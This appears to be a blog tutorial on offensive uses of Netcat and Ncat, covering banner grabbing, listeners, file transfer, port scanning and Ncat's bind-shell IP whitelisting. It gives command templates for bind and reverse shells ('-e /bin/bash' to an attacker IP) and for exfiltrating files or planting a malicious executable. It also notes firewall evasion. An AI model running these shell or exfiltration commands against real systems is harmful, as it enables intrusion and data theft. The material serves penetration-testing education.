Offensive Netcat/Ncat: From Port Scanning To Bind Shell IP Whitelisting

7 min readOct 1, 2019

Netcat — “the swiss army knife of network tools”

Introduction/Table of Contents

I’m sure everyone has used Netcat (nc) before, but we’ve never appreciated its full extent of power and potential. In this post, I’ll take you through the wonderful features of Netcat, including:
- Connecting to servers via TCP or UDP + Banner Grabbing
- Listening as a server
- File transfers
- Remote shells (Bind & Reverse)
- Port scanning with Netcat options and a Bash extension
At the end, we’ll look at one security feature of Ncat, Netcat’s improved cousin.

Connnecting to Servers (TCP/UDP)

Syntax: nc -nv[u] <target-ip> <port>

Differences between open/closed ports, and verbose/non-verbose connections

Connecting to a server is a quite straightforward process. You use the -nv option to disable DNS resolution (-n) and have Netcat print out verbose information (-v).

Looking at the “verbose information”, we can see that Netcat prints the status of the port right before the server banner (open/Connection refused). By looking at this output, we can imagine Netcat being able to determine an open port from a closed port, thereby being able to perform port scanning. This is covered in full depth in the Port Scanning section below.

Also, we can see that once we connected to the service (whether with -v or not), the service returns a banner — SSH-2.0-OpenSSH_7.9p1 Debian-5 — this is an amazing source of information about the service and server itself!
It tells us the specific type and version of SSH that is running and the OS platform of the server. This process of extracting valuable information about the target is aptly named banner grabbing.

Let’s also take a look at connecting to a UDP port, which can be accomplished by tacking on a “u” at the end of the options.

Netcat UDP connection and address resolution

We can see that connecting to a UDP port works very similarly to connecting to a TCP port.

Additionally, in the image, we can see two Netcat commands, one with, and one without the -n option. We can see the effects of the -n option’s DNS resolution restrictions by comparing “(UNKNOWN)” to “localhost”. When DNS resolution is allowed, the numeric IP address 127.0.0.1 is resolved to localhost.

Listening as a Server

Syntax: nc -nvlp <port>

With Netcat, listening on a port is just as simple as running one short command with Netcat’s -l and -p options, to listen on all interfaces on a specific local port. This allows for a quick file transfer setup and a shell listener, as you will see in the following sections. You can optionally use the -v option to make Netcat display verbose output (“listening on [any] <port> …”) and print a notification when a host connects to it.

Netcat client/server model and 2-way communication

Text input from the server is sent to the client and the client to the server, allowing a simple text exchange to happen. How can we use bidirectional text transfer for a more useful case? One scenario I use this in is when a friend next to me wants to send a long HTTPS link to me, but using email is a fuss and can even take quite a bit of time before it arrives in my inbox. I tell them to open Terminal and connect to my Netcat listener so that they can copy the link and I can receive it. Job done!

File Transfers

Syntax: nc -nvlp <port> < <file> (attacker)
nc -nv <attacker-ip> <port> > <out-file> (target)

File transfers in order to exfiltrate data from the target or upload tools to the target can be simply accomplished with Netcat. Utilising commands mentioned in the two sections above, we can create a basic server-client connection and transfer files.

Transferring a malicious .exe file from the attacker to the target

On the right side, the attacker machine has set up a listener and has redirected the malicious.exe file to it. This means that whatever host connects to port 9999 of the attacker machine can download that file.

On the left side, the target machine is connecting to the attacker’s listener, and is redirecting the output to a file named malicious-received.exe.

This setup of the target connecting back to the server allows for firewall evasion, as firewalls usually have less restrictions for outbound connections.

For file exfiltration, simply switch the output redirectors (“<”, “>”).

One issue with file transferring with Netcat is that there is no “progress bar” to check the file’s transfer progress and no way of telling when the transfer has completed. There is minimal issue if the file being transferred is small, as it will only take a fraction of a second, but if the file is big, it may take some time before the transfer completes. If we unknowingly use ^C to stop the connection during the transfer process, the file will not be properly downloaded. The only mitigation is to wait a suitable amount of time before terminating the connection.

Remote Shells (Bind/Reverse)

Syntax: nc -nvlp <port> -e {/bin/bash | cmd.exe}(bind)
nc -nv <attacker-ip> <port> -e {/bin/bash | cmd.exe} (reverse)

This is the most exciting feature of Netcat — gaining remote shells from the target. Remote shells can be classified into two main categories: bind and reverse (a.k.a. connect-back).
Bind shells have the listener running on the target and the attacker connect to the listener in order to gain a remote shell.
Reverse shells have the listener running on the attacker and the target connecting to the attacker with a shell.

On the left side, the Linux target has a listener that allows any host that connects to port 9999 to gain a remote shell. On the right side, the attacker has connected to the target host, gained a remote shell using /bin/bash, and is able to run commands as if they had local access to the target.

There is a security issue with Netcat bind shells, though, and that is the fact that anyone can connect to the bind shell and run commands. A malicious actor can take advantage of this easily. To our rescue comes Ncat, which has a solution for this issue (covered in the Ncat section below).

Netcat reverse shells allow the attacker to set up an ordinary Netcat listener (right side), and have the remote target send a reverse shell to us. Just like our bind shell from before, we can run local commands from the attacker.

Reverse shells are generally better than bind shells for many reasons, and you can read about that in more detail in my other post.

Port Scanning

Syntax: nc -nv[u] -w 1 -z <target-ip> <port range>

Fancy tools such as Nmap aren’t the only way to scan ports, as we can achieve the same thing with Netcat (although it has lower performance).

Let’s go through each of the parameters in the command:
-nv[u]: restricts DNS resolution, prints verbose output (otherwise we would receive no output at all from the port scan) and optionally specifies UDP
-w 1: sets the timeout of the connection to 1 second, which allows Netcat to quickly skip closed ports that don’t respond in 1 second
-z: specifies a port scan

Netcat Port Sweep Bash Extension

We can fuse Netcat with a simple Bash Script to allow us to feed a file containing a list of IP addresses as input and perform a port scan on each of the listed hosts. We are effectively “sweeping” a host range for certain ports.

Usage: ./netcat-port-sweep.sh <targets-file> {TCP | UDP} <port-range>
This simple “extension” to Netcat using Bash allows for a TCP/UDP scan of a list of hosts. And who doesn’t love a touch of Bash?

Ncat — The Solution to Netcat’s Problems

Nmap has an improved version of Netcat called Ncat, supporting many of the same syntax as Netcat (including ncat -nvlp, ncat -nv etc.), which they claim is the “Netcat for the 21st Century”. Let’s see why this is the case, by exploring one out of a dozen features that Ncat has to offer.

Ncat Bind Shell IP Whitelisting

Earlier on, we discussed that bind shells have a security issue of anyone being able to gain a remote shell. Ncat solves this issue with its “--allow <host(s)>” option, which only allows certain hosts to connect to the bind shell.